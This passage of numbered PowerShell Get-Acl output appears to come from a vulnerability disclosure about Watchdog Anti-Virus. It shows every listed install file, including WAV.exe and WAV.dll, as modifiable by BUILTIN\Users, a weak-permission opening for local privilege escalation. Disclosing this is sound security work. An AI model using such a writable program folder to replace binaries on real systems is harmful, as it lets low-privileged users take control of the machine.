393         NT AUTHORITY\SYSTEM Allow  FullControl
394         BUILTIN\Administrators Allow  FullControl
395         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
396         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
397 Audit   :
398 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
399         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
400
```



```
401 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.deps
402 Owner : BUILTIN\Administrators
403 Group : DESKTOP-8B89BFF\None
404 Access : BUILTIN\Users Allow Modify, Synchronize
405          NT AUTHORITY\SYSTEM Allow FullControl
406          BUILTIN\Administrators Allow FullControl
407          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
408          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
409 Audit :
410 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
411        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
412
413 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag
414 Owner : BUILTIN\Administrators
415 Group : DESKTOP-8B89BFF\None
416 Access : BUILTIN\Users Allow Modify, Synchronize
417          NT AUTHORITY\SYSTEM Allow FullControl
418          BUILTIN\Administrators Allow FullControl
419          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
420          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
421 Audit :
422 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
423        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
424
425 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag
426 Owner : BUILTIN\Administrators
427 Group : DESKTOP-8B89BFF\None
428 Access : BUILTIN\Users Allow Modify, Synchronize
429          NT AUTHORITY\SYSTEM Allow FullControl
430          BUILTIN\Administrators Allow FullControl
431          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
432          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
433 Audit :
434 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
435        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
436
437 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag
438 Owner : BUILTIN\Administrators
439 Group : DESKTOP-8B89BFF\None
440 Access : BUILTIN\Users Allow Modify, Synchronize
441          NT AUTHORITY\SYSTEM Allow FullControl
442          BUILTIN\Administrators Allow FullControl
443          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
444          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
445 Audit :
446 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
447        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
448
449 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag
```

450 Owner : BUILTIN\Administrators  
451 Group : DESKTOP-8B89BFF\None  
452 Access : BUILTIN\Users Allow Modify, Synchronize  
453 NT AUTHORITY\SYSTEM Allow FullControl  
454 BUILTIN\Administrators Allow FullControl  
455 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
456 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
457 Audit :  
458 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
459 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
460  
461 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.dll  
462 Owner : BUILTIN\Administrators  
463 Group : DESKTOP-8B89BFF\None  
464 Access : BUILTIN\Users Allow Modify, Synchronize  
465 NT AUTHORITY\SYSTEM Allow FullControl  
466 BUILTIN\Administrators Allow FullControl  
467 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
468 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
469 Audit :  
470 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
471 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
472  
473 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Doma  
474 Owner : BUILTIN\Administrators  
475 Group : DESKTOP-8B89BFF\None  
476 Access : BUILTIN\Users Allow Modify, Synchronize  
477 NT AUTHORITY\SYSTEM Allow FullControl  
478 BUILTIN\Administrators Allow FullControl  
479 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
480 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
481 Audit :  
482 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
483 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
484  
485 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe  
486 Owner : BUILTIN\Administrators  
487 Group : DESKTOP-8B89BFF\None  
488 Access : BUILTIN\Users Allow Modify, Synchronize  
489 NT AUTHORITY\SYSTEM Allow FullControl  
490 BUILTIN\Administrators Allow FullControl  
491 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
492 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
493 Audit :  
494 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
495 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
496  
497 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.runt  
498 Owner : BUILTIN\Administrators

499 Group : DESKTOP-8B89BFF\None  
500 Access : BUILTIN\Users Allow Modify, Synchronize  
501 NT AUTHORITY\SYSTEM Allow FullControl  
502 BUILTIN\Administrators Allow FullControl  
503 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
504 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
505 Audit :  
506 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
507 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
508  
509 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Scit  
510 Owner : BUILTIN\Administrators  
511 Group : DESKTOP-8B89BFF\None  
512 Access : BUILTIN\Users Allow Modify, Synchronize  
513 NT AUTHORITY\SYSTEM Allow FullControl  
514 BUILTIN\Administrators Allow FullControl  
515 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
516 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
517 Audit :  
518 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
519 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
520  
521 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.SDK.  
522 Owner : BUILTIN\Administrators  
523 Group : DESKTOP-8B89BFF\None  
524 Access : BUILTIN\Users Allow Modify, Synchronize  
525 NT AUTHORITY\SYSTEM Allow FullControl  
526 BUILTIN\Administrators Allow FullControl  
527 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
528 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
529 Audit :  
530 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
531 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
532  
533 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Shar  
534 Owner : BUILTIN\Administrators  
535 Group : DESKTOP-8B89BFF\None  
536 Access : BUILTIN\Users Allow Modify, Synchronize  
537 NT AUTHORITY\SYSTEM Allow FullControl  
538 BUILTIN\Administrators Allow FullControl  
539 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
540 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
541 Audit :  
542 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
543 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
544  
545 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-ant  
546 Owner : BUILTIN\Administrators  
547 Group : DESKTOP-8B89BFF\None

```

548 Access : BUILTIN\Users Allow Modify, Synchronize
549         NT AUTHORITY\SYSTEM Allow FullControl
550         BUILTIN\Administrators Allow FullControl
551         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
552         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
553 Audit :
554 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
555        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
556
557 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-dri
558 Owner : BUILTIN\Administrators
559 Group : DESKTOP-8B89BFF\None
560 Access : BUILTIN\Users Allow Modify, Synchronize
561         NT AUTHORITY\SYSTEM Allow FullControl
562         BUILTIN\Administrators Allow FullControl
563         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
564         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
565 Audit :
566 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
567        x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
568
569 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
570 Owner : BUILTIN\Administrators
571 Group : DESKTOP-8B89BFF\None
572 Access : BUILTIN\Users Allow Modify, Synchronize
573         NT SERVICE\TrustedInstaller Allow FullControl
574         NT SERVICE\TrustedInstaller Allow 268435456
575         NT AUTHORITY\SYSTEM Allow FullControl
576         NT AUTHORITY\SYSTEM Allow 268435456
577         BUILTIN\Administrators Allow FullControl
578         BUILTIN\Administrators Allow 268435456
579         BUILTIN\Users Allow -1610612736
580         CREATOR OWNER Allow 268435456
581         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
582         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
583         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
584         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
585 Audit :
586 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;;
587        418522649-1831038044-1853292631-2271478464)(A;CIIID;GA;;;S-1-5-80-956008885-3418522649-1
588        2271478464)(A;ID;FA;;;SY)(A;OICIID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIID;GA;;;BA)(A;OICIID;
589        ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIID
590        )
591
592 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
593        Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run
594 Owner : DESKTOP-8B89BFF\dev
595 Group : DESKTOP-8B89BFF\None
596 Access : BUILTIN\Users Allow Modify, Synchronize

```



```

597 NT SERVICE\TrustedInstaller Allow FullControl
598 NT SERVICE\TrustedInstaller Allow 268435456
599 NT AUTHORITY\SYSTEM Allow FullControl
600 NT AUTHORITY\SYSTEM Allow 268435456
601 BUILTIN\Administrators Allow FullControl
602 BUILTIN\Administrators Allow 268435456
603 BUILTIN\Users Allow -1610612736
604 DESKTOP-8B89BFF\dev Allow FullControl
605 CREATOR OWNER Allow 268435456
606 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
607 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
608 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
609 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
610 Audit :
611 Sddl : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
612 x1301bf;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A
613 -956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIID;GA;;;SY)
614 IID;GA;;;BA)(A;OICIIID;GXGR;;;BU)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266-1
615 CO)(A;ID;0x1200a9;;;AC)(A;OICIIID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIID;GXGR
616
617 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
618 Owner : BUILTIN\Administrators
619 Group : DESKTOP-8B89BFF\None
620 Access : BUILTIN\Users Allow Modify, Synchronize
621 NT SERVICE\TrustedInstaller Allow FullControl
622 NT SERVICE\TrustedInstaller Allow 268435456
623 NT AUTHORITY\SYSTEM Allow FullControl
624 NT AUTHORITY\SYSTEM Allow 268435456
625 BUILTIN\Administrators Allow FullControl
626 BUILTIN\Administrators Allow 268435456
627 BUILTIN\Users Allow -1610612736
628 CREATOR OWNER Allow 268435456
629 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
630 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
631 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
632 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
633 Audit :
634 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;;
635 418522649-1831038044-1853292631-2271478464)(A;CIID;GA;;;S-1-5-80-956008885-3418522649-1
636 2271478464)(A;ID;FA;;;SY)(A;OICIID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIID;GA;;;BA)(A;OICIIOI
637 ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICII
638 )
639
640 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
641 Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run.lock
642 Owner : DESKTOP-8B89BFF\dev
643 Group : DESKTOP-8B89BFF\None
644 Access : BUILTIN\Users Allow Modify, Synchronize
645 NT AUTHORITY\SYSTEM Allow FullControl

```

```
646         BUILTIN\Administrators Allow FullControl
647         DESKTOP-8B89BFF\dev Allow FullControl
648         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
649         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
650 Audit :
651 Sddl : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
652         1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
653         ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
654
655 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
656 Owner : BUILTIN\Administrators
657 Group : DESKTOP-8B89BFF\None
658 Access : BUILTIN\Users Allow Modify, Synchronize
659         NT AUTHORITY\SYSTEM Allow FullControl
660         BUILTIN\Administrators Allow FullControl
661         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
662         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
663 Audit :
664 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
665         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
666
667 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
668 Owner : BUILTIN\Administrators
669 Group : DESKTOP-8B89BFF\None
670 Access : BUILTIN\Users Allow Modify, Synchronize
671         NT AUTHORITY\SYSTEM Allow FullControl
672         BUILTIN\Administrators Allow FullControl
673         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
674         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
675 Audit :
676 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
677         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
678
679 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
680         Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run\session.json
681 Owner : DESKTOP-8B89BFF\dev
682 Group : DESKTOP-8B89BFF\None
683 Access : BUILTIN\Users Allow Modify, Synchronize
684         NT AUTHORITY\SYSTEM Allow FullControl
685         BUILTIN\Administrators Allow FullControl
686         DESKTOP-8B89BFF\dev Allow FullControl
687         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
688         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,
689 Audit :
690 Sddl : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
691         1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
692         ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
693
694 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
```

```

695         Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run\__sentry-breadcrumb1
696 Owner   : DESKTOP-8B89BFF\dev
697 Group   : DESKTOP-8B89BFF\None
698 Access  : BUILTIN\Users Allow  Modify, Synchronize
699          NT AUTHORITY\SYSTEM Allow  FullControl
700          BUILTIN\Administrators Allow  FullControl
701          DESKTOP-8B89BFF\dev Allow  FullControl
702          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
703          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
704 Audit    :
705 Sddl     : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
706           1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
707           ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
708
709 Path     : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
710          Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run\__sentry-breadcrumb2
711 Owner    : DESKTOP-8B89BFF\dev
712 Group    : DESKTOP-8B89BFF\None
713 Access   : BUILTIN\Users Allow  Modify, Synchronize
714           NT AUTHORITY\SYSTEM Allow  FullControl
715           BUILTIN\Administrators Allow  FullControl
716           DESKTOP-8B89BFF\dev Allow  FullControl
717           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
718           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
719 Audit     :
720 Sddl      : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
721            1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
722            ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
723
724 Path     : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
725          Anti-Virus\.sentry-native\b78311f7-70d6-4ba6-3e3c-6fcc6b771e67.run\__sentry-event
726 Owner    : DESKTOP-8B89BFF\dev
727 Group    : DESKTOP-8B89BFF\None
728 Access   : BUILTIN\Users Allow  Modify, Synchronize
729           NT AUTHORITY\SYSTEM Allow  FullControl
730           BUILTIN\Administrators Allow  FullControl
731           DESKTOP-8B89BFF\dev Allow  FullControl
732           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
733           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
734 Audit     :
735 Sddl      : O:S-1-5-21-2015969053-4181822921-3402349266-1000G:S-1-5-21-2015969053-4181822921-34023492
736            1bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2015969053-4181822921-3402349266
737            ;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
738
739 Path     : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\DefaultD
740 Owner    : BUILTIN\Administrators
741 Group    : DESKTOP-8B89BFF\None
742 Access   : BUILTIN\Users Allow  Modify, Synchronize
743           NT AUTHORITY\SYSTEM Allow  FullControl

```

744 BUILTIN\Administrators Allow FullControl  
745 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
746 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
747 Audit :  
748 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
749 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
750  
751 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\DefaultD  
752 Owner : BUILTIN\Administrators  
753 Group : DESKTOP-8B89BFF\None  
754 Access : BUILTIN\Users Allow Modify, Synchronize  
755 NT AUTHORITY\SYSTEM Allow FullControl  
756 BUILTIN\Administrators Allow FullControl  
757 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
758 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
759 Audit :  
760 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
761 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
762  
763 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
764 Owner : BUILTIN\Administrators  
765 Group : DESKTOP-8B89BFF\None  
766 Access : BUILTIN\Users Allow Modify, Synchronize  
767 NT AUTHORITY\SYSTEM Allow FullControl  
768 BUILTIN\Administrators Allow FullControl  
769 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
770 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
771 Audit :  
772 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
773 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
774  
775 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
776 Owner : BUILTIN\Administrators  
777 Group : DESKTOP-8B89BFF\None  
778 Access : BUILTIN\Users Allow Modify, Synchronize  
779 NT AUTHORITY\SYSTEM Allow FullControl  
780 BUILTIN\Administrators Allow FullControl  
781 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize  
782 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute,  
783 Audit :  
784 Sddl : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)  
785 x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)  
786  
787 Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1  
788 Owner : BUILTIN\Administrators  
789 Group : DESKTOP-8B89BFF\None  
790 Access : BUILTIN\Users Allow Modify, Synchronize  
791 NT AUTHORITY\SYSTEM Allow FullControl  
792 BUILTIN\Administrators Allow FullControl



```
793     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
794     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
795 Audit   :
796 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
797         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
798
799 Path    : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
800 Owner   : BUILTIN\Administrators
801 Group   : DESKTOP-8B89BFF\None
802 Access  : BUILTIN\Users Allow  Modify, Synchronize
803         NT AUTHORITY\SYSTEM Allow  FullControl
804         BUILTIN\Administrators Allow  FullControl
805         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
806         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
807 Audit   :
808 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
809         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
810
811 Path    : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
812 Owner   : BUILTIN\Administrators
813 Group   : DESKTOP-8B89BFF\None
814 Access  : BUILTIN\Users Allow  Modify, Synchronize
815         NT AUTHORITY\SYSTEM Allow  FullControl
816         BUILTIN\Administrators Allow  FullControl
817         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
818         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
819 Audit   :
820 Sddl    : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
